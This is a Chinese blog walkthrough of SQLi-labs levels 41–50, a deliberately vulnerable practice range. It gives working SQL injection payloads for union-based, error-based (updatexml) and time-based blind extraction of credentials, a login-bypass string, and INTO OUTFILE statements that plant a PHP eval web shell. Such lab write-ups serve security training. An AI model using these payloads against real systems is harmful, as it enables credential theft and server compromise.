SQLi-labs靶场(41-50)过关超详细0基础

第四十一关

与前面几关一致存在联合查询,或者堆叠注入

这一关不需要闭合

?id=-1 union select 1,2,3--+

?id=-1 union select 1,2,database()--+

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

?id=-1 union select 1,2,group_concat(username,password) from users--+

过关

第四十二关

熟悉的登录界面,但是这次下面的忘记密码和创建账号的选项都无法使用

方法一:万能密码

直接在密码处输入

1'or '1'='1

方法二:

在密码处输入1'后,发现存在报错信息

可以尝试报错注入

1' or updatexml(1,concat(0x7e,database(),0x7e),1)

爆库

1' or  updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+

爆表

1' or  updatexml(1,concat(0x7e,mid((select group_concat(column_name) from information_schema.columns where table_name='users'),110,31),0x7e),1)--+

爆列

1' or  updatexml(1,concat(0x7e,mid((select group_concat(username,password) from users),1,31),0x7e),1)--+

爆字段

获取到了信息

过关

第四十三关

在密码处输入1',得到以下报错

判断闭合位1')

报错注入,与上题一样

1')or updatexml(1,concat(0x7e,database(),0x7e),1)--+

爆库

1')or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+

爆表

1')or updatexml(1,concat(0x7e,mid((select group_concat(column_name) from information_schema.columns where table_name='users'),120,31),0x7e),1)--+

爆列

1')or updatexml(1,concat(0x7e,mid((select group_concat(username,password) from users),1,31),0x7e),1)--+

爆字段

获取全部字段后

过关

第四十四关

这一关注入没有报错信息,无法使用报错注入了

先使用万能密码

万能密码还是能用

再尝试使用盲注

经过尝试,需要输入正确的账号密码才能进行注入

Dumb' and if (length(database()) = 8 ,sleep(4),1)--+

确定数据库长度

Dumb' and if (substr(database(),1,1) = 's' ,sleep(4),1)--+ 

爆处数据库第一位是s,依次推出security

Dumb' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=6,sleep(3),0) --+

确定数据库第一个表的字段长度

Dumb'and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))=117,sleep(3),1)--+

依次找到users

Dumb'and if(length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=7,sleep(3),1)--+

确定users下第一个列字段长度为7

Dumb'and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=117,sleep(3),1)--+

第一个列第一个字符是u

依次推出全部的列

Dumb'and if(length(substr((select username from users limit 0,1),1))=4,sleep(3),1)--+

确定username下第一字段有4个字符

Dumb'and if(ascii(substr((select username from users limit 0,1),1,1))=68,sleep(3),1)--+

确定username第一个字段第一个字符是D

依次推出全部的账号密码信息

过关

第四十五关

这题与四十四题一样,但是')闭合

Dumb') and if(length(database())=8,sleep(2),0)--+

确定数据库字符长度

Dumb') and if(substr(database(),1,1)='s',sleep(2),0)--+

确定数据库名第一个字符是s,依次推处security

Dumb') and if(length(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1))=6,sleep(2),0)--+

确定数据库第一个表字符长度

Dumb') and if(ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 3,1),1,1))=117,sleep(2),0)--+

依次找到users

Dumb') and if(length(substr((select column_name from information_schema.columns where table_name='users'limit 0,1),1))=7,sleep(2),0)--+

确定users下第一个列的字段长度为7

Dumb') and if(ascii(substr((select column_name from information_schema.columns where table_name='users'limit 0,1),1))=117,sleep(2),0)--+

确定users下第一个列的第一个字符是u

依次推出全部的列名

Dumb') and if(length(substr((select username from users limit 0,1),1))=4,sleep(2),0)--+

确定username下第一个字段有4个字符

Dumb') and if(ascii(substr((select username from users limit 0,1),1))=68,sleep(2),0)--+

第一个字符是D

依次推出全部的账号密码信息

过关

第四十六关

提示我们使用数字形式输入sort

代码中使用的ORDER BY ,后面不能使用union select

?sort=1    不用闭合


?sort=1 asc  升序

?sort=1 desc  倒序

?sort=1

存在报错信息,可以使用报错注入

?sort=1 and updatexml(1,concat(0x7e,database(),0x7e),1)--+

爆库

?sort=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+

爆表

?sort=1 and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 12,1),0x7e),1)--+

爆列

?sort=1 and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1)--+

爆字段

依次获取全部的账号密码信息,过关

第四十七关

?sort=1'--+

这关与46一样,但是单引号闭合

?sort=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+

#爆库

?sort=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+

#爆表

?sort=1' and updatexml(1,concat(0x7e,mid((select group_concat(column_name) from information_schema.columns where table_name='users'),120,31),0x7e),1)--+

#爆列

?sort=1' and updatexml(1,concat(0x7e,mid((select group_concat(username,password) from users),1,31),0x7e),1)--+

#爆字段

依次获取全部的账号密码信息

过关

第四十八关

?sort=1"

这一关关闭了报错信息

不能使用报错注入

可以尝试注入后门

http://sqli-labs:8888/Less-2/?id=-1 union select 1,@@basedir,@@datadir

首先到第二关获取相关路径

?sort=1 into outfile "C:\\phpstudy_pro\\WWW\\sqli-labs\\Less-48\\1.php" lines terminated by '<?php phpinfo();?>'

先尝试phpinfo看看能否上传成功

?sort=1 into outfile "C:\\phpstudy_pro\\WWW\\sqli-labs\\Less-48\\111.php" lines terminated by '<?php @eval($_POST[admin]);?>'

上传后门

启动蚁剑

连接成功

过关

第四十九关

与48关一样,但是单引号闭合

?sort=1' into outfile "C:\\phpstudy_pro\\WWW\\sqli-labs\\Less-49\\1.php" lines terminated by '<?php @eval($_POST[admin]);?>'--+

注入后门

连接蚁剑

过关

第五十关

?sort=1'

无闭合,且存在报错信息,可以使用报错注入

?sort=1 and updatexml(1,concat(0x7e,database(),0x7e),1)

爆库

?sort=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)

爆表

?sort=1 and updatexml(1,concat(0x7e,mid((select group_concat(column_name) from information_schema.columns where table_name='users'),120,31),0x7e),1)

爆列

?sort=1 and updatexml(1,concat(0x7e,mid((select group_concat(username,password) from users),1,31),0x7e),1)

爆字段

获取全部的账号密码信息

过关

括弧

这关使用了mysql_multi_query函数,可以使用堆叠注入

  • 8
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值